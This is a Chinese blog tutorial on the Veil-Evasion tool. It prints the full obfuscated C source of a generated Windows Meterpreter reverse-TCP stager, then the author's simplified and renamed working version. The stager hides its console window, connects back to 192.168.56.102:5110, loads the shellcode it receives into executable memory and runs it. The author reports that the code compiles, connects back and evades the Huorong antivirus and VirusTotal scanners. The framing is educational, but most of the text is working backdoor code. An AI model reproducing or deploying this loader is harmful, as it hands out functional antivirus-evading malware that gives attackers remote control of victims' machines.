Veil-Evasion是Veil项目(项目地址https://github.com/Veil-Framework/Veil)中的一个工具,用各种不同的语言生成攻击载荷,然后通过编译免杀,绕过杀毒软件。这是一个免杀工具,还提供了一些加壳程序。
Veil项目中还有一个工具,是Veil-Ordnance。这个工具可以用来生成shellcode,还有一个xor编码器,但我没怎么用过。
Veil项目的官方主页https://www.veil-framework.com/
从github上下载Veil 3.0后,依照github上的指导进行安装,然后运行安装目录下名为Veil.py
的python脚本,根据提示选择payload,我们这里选择c/meterpreter/recv_tcp
这个payload,然后可以用metasploit来进行验证。
Veil会生成被控端的代码,这是个反向shell,被控端需要主动连接攻击机。
我的Kali攻击机的IP是192.168.56.102,使用5110端口(TCP)作为监听端口。
刚开始我们看到的C语言源代码是这个样子的:
这个代码看来是经过混淆的,代码格式和变量名都非常“乱”。
我们先对代码进行格式化,得到稍微能看一点的源码:
#define _WIN32_WINNT 0x0500
#include
#include
#include
#include
#include
#include
#include
#include
#include
char* ELPhvnk(const char *t)
{
int length= strlen(t);
int i; char* t2 = (char*)malloc((length+1) * sizeof(char));
for(i=0;i1)-i]=t[i];
}
t2[length] = '\0';
return t2;
}
char* oxImsmwTbcn(char* s)
{
char *result = malloc(strlen(s)*2+1);
int i;
for (i=0; i<strlen(s)*2+1; i++) {
result[i] = s[i/2]; result[i+1]=s[i/2];
}
result[i] = '\0';
return result;
}
void cvNGKT() {
WORD XWPJfalPF = MAKEWORD((0*4+2), (0*4+2));
WSADATA diDuQXNFmNZTv;
if (WSAStartup(XWPJfalPF, &diDuQXNFmNZTv) < 0) {
WSACleanup();
exit(1);
}
}
char* IrhXxkpgdSirgmd() {
char *VTYrQkpq = ELPhvnk("dMjybHyCDGdyDYHjFxRJHePOysgMIrdtsPIJACQLjwQwMMaEHV");
return strstr( VTYrQkpq, "s" );
}
void JQQYIn(SOCKET dQQjjbD) {
closesocket(dQQjjbD);
WSACleanup();
exit(1);
}
char* HdzfoS() {
char NVGmZE[2940] = "xgqPMqbqLgbqKnTGxNOhRSTrPdNBDUuKKgxnvyybPjiAxSWLNg";
char *lCUrNPHXpM = strupr(NVGmZE);
return strlwr(lCUrNPHXpM);
}
int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl) {
int slfkmklsDSA=0;
int rcAmwSVM=0;
void * startb = mngpZHDHPakA;
while (rcAmwSVM < xMumRzycXl) {
slfkmklsDSA = recv(aNTeaiCAXmaMhX, (char *)startb, xMumRzycXl - rcAmwSVM, 0);
startb += slfkmklsDSA;
rcAmwSVM += slfkmklsDSA;
if (slfkmklsDSA == SOCKET_ERROR)
JQQYIn(aNTeaiCAXmaMhX);
}
return rcAmwSVM;
}
char* TEOHbyfIXj() {
char irQRqbMDFFOiV[2940], TQJodSedKcBQ[2940/2];
strcpy(irQRqbMDFFOiV,"SrZFbAxiwfQYtzUOXzcJNYrpCduFtWmwnFtzlLXPiOdlEzQfEw");
strcpy(TQJodSedKcBQ,"NMYmTVYYVDWVDLCEBprcyjeoiTZqfbtjDbRUFJXkLDdkXyycss");
return oxImsmwTbcn(strcat( irQRqbMDFFOiV, TQJodSedKcBQ));
}
SOCKET IpYbCHNOV() {
struct hostent * CADnJpvtGkADG;
struct sockaddr_in NCpJvOJAtp;
SOCKET YJZKAxHbFLbgOb;
YJZKAxHbFLbgOb = socket(AF_INET, SOCK_STREAM, 0);
if (YJZKAxHbFLbgOb == INVALID_SOCKET)
JQQYIn(YJZKAxHbFLbgOb);
CADnJpvtGkADG = gethostbyname("192.168.56.102");
if (CADnJpvtGkADG == NULL)
JQQYIn(YJZKAxHbFLbgOb);
memcpy(&NCpJvOJAtp.sin_addr.s_addr, CADnJpvtGkADG->h_addr, CADnJpvtGkADG->h_length);
NCpJvOJAtp.sin_family = AF_INET;
NCpJvOJAtp.sin_port = htons((567*9+7));
if ( connect(YJZKAxHbFLbgOb, (struct sockaddr *)&NCpJvOJAtp, sizeof(NCpJvOJAtp)) )
JQQYIn(YJZKAxHbFLbgOb);
return YJZKAxHbFLbgOb;
}
int main(int argc, char * argv[])
{
ShowWindow( GetConsoleWindow(), SW_HIDE );
ULONG32 GbMtxZMJpvUG;
char * AOnWmVQURLSv;
int i;
char* WRprInF[1160];
void (*LKMoAeoqcSLE)();
for (i = 0; i < 1160; ++i)
WRprInF[i] = malloc (9816);
cvNGKT();
char* GLEsyWODiOETsqn[6];
SOCKET PSWEfTlAWmQjz = IpYbCHNOV();
for (i = 0; i < 6; ++i)
GLEsyWODiOETsqn[i] = malloc (8388);
int MjrRXPBqQGgxTx = recv(PSWEfTlAWmQjz, (char *)&GbMtxZMJpvUG, (4*1+0), 0);
if (MjrRXPBqQGgxTx != (2*2+0) || GbMtxZMJpvUG <= 0)
JQQYIn(PSWEfTlAWmQjz);
AOnWmVQURLSv = VirtualAlloc(0, GbMtxZMJpvUG + (5*1+0), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* OMybsEGA[8773];
for (i=0; i<1160; ++i) {
strcpy(WRprInF[i], IrhXxkpgdSirgmd());
}
if (AOnWmVQURLSv == NULL)
JQQYIn(PSWEfTlAWmQjz);
AOnWmVQURLSv[0] = 0xBF;
memcpy(AOnWmVQURLSv + 1, &PSWEfTlAWmQjz, (4*1+0));
for (i = 0; i < 8773; ++i)
OMybsEGA[i] = malloc (7764);
for (i=0; i<6; ++i){
strcpy(GLEsyWODiOETsqn[i], HdzfoS());
}
MjrRXPBqQGgxTx = PaBVzZ(PSWEfTlAWmQjz, AOnWmVQURLSv + (5*1+0), GbMtxZMJpvUG);
LKMoAeoqcSLE = (void (*)())AOnWmVQURLSv;LKMoAeoqcSLE();
for (i=0; i<8773; ++i) {
strcpy(OMybsEGA[i], TEOHbyfIXj());
}
return 0;
}
用IDE一键格式化就能得到这样的结果,但这段代码依然很难读懂,这些变量名都非常奇怪,而且还有一些莫名其妙的字符串操作,实在让人头疼。
后来我经过一番探索,发现这些字符串的操作完全是多余的!,后门的基本功能完全不依赖与这些字符串操作!!
真正起作用的只要下面这些代码,这里贴出的代码我修改了变量名和函数名,让同学们能看懂,精简后的源码如下:
#define _WIN32_WINNT 0x0500
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*
* 函数名:startupWSA()
* 作用:初始化WinSock服务
* 备注:对应veil原始程序中的void cvNGKT()函数
*
*/
void startupWSA()
{
WORD wVersionReq = MAKEWORD(2, 2);
WSADATA wsaData;
if (WSAStartup(wVersionReq, &wsaData) < 0) {
WSACleanup();
exit(1);
}
}
/*
* 函数名:closeSocket
* 作用:关闭套接字
* 备注:对应veil原始程序中的void JQQYIn(SOCKET dQQjjbD)函数
*
*/
void closeSocket(SOCKET sock)
{
closesocket(sock);
WSACleanup();
exit(1);
}
/*
* 函数名:recvPayload
* 作用:接受Meterpreter的payload
* 备注:对应veil原始程序的int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl)函数
*
*/
int recvPayload(SOCKET sock, void * payloadBuf, int size)
{
int recvLen=0;
int count=0;
void * startb = payloadBuf;
while (count < size) {
recvLen = recv(sock, (char *)startb, size - count, 0);
startb += recvLen;
count += recvLen;
if (recvLen == SOCKET_ERROR)
closeSocket(sock);
}
return count;
}
/*
* 函数名:createTCPSocket()
* 作用:创建socket套件字
* 备注:对应veil原始程序的SOCKET IpYbCHNOV()函数
*
*/
SOCKET createTCPSocket()
{
struct hostent * host;
struct sockaddr_in addr;
SOCKET sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCKET)
closeSocket(sock);
host = gethostbyname("192.168.56.102"); //控制端的IP地址
if (host == NULL)
closeSocket(sock);
memcpy(&addr.sin_addr.s_addr, host->h_addr, host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons((5110)); //控制端的端口号
if ( connect(sock, (struct sockaddr *)&addr, sizeof(addr)) )
closeSocket(sock);
return sock;
}
int main(int argc, char * argv[])
{
ULONG32 size;
char * payload;
void (*pfunc)();
//隐藏命令行窗口
ShowWindow( GetConsoleWindow(), SW_HIDE );
//创建套接字
startupWSA();
SOCKET sock = createTCPSocket();
int recvLen = recv(sock, (char *)&size, 4, 0);
if (recvLen != 4 || size <= 0)
closeSocket(sock);
//为payload申请空间
payload = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (payload == NULL)
closeSocket(sock);
payload[0] = 0xBF;
memcpy(payload + 1, &sock, 4);
//接收payload并执行
recvLen = recvPayload(sock, payload + 5, size);
pfunc = (void (*)())payload;
pfunc();
return 0;
}
这段精简化后的代码是可以使用的,我们在win7虚拟机下用mingw编译这个程序:
运行该程序,成功回连:
我不明白为啥Veil 3.1生成的C源代码要有多余的“字符串”分配和操作,难道是为了免杀吗?
提取核心部分的代码难道不能免杀吗?我们来看看:
至少火绒安全查不出来。
放到virustotal上看一下吧,效果还不错:
我不知道为啥Veil有那么多“多余的代码”,也许是为了免杀吧。虽然我没法独立写后门程序,对Veil生成的C源码了解个大概还是没问题的,可还有许多细节没有弄明白。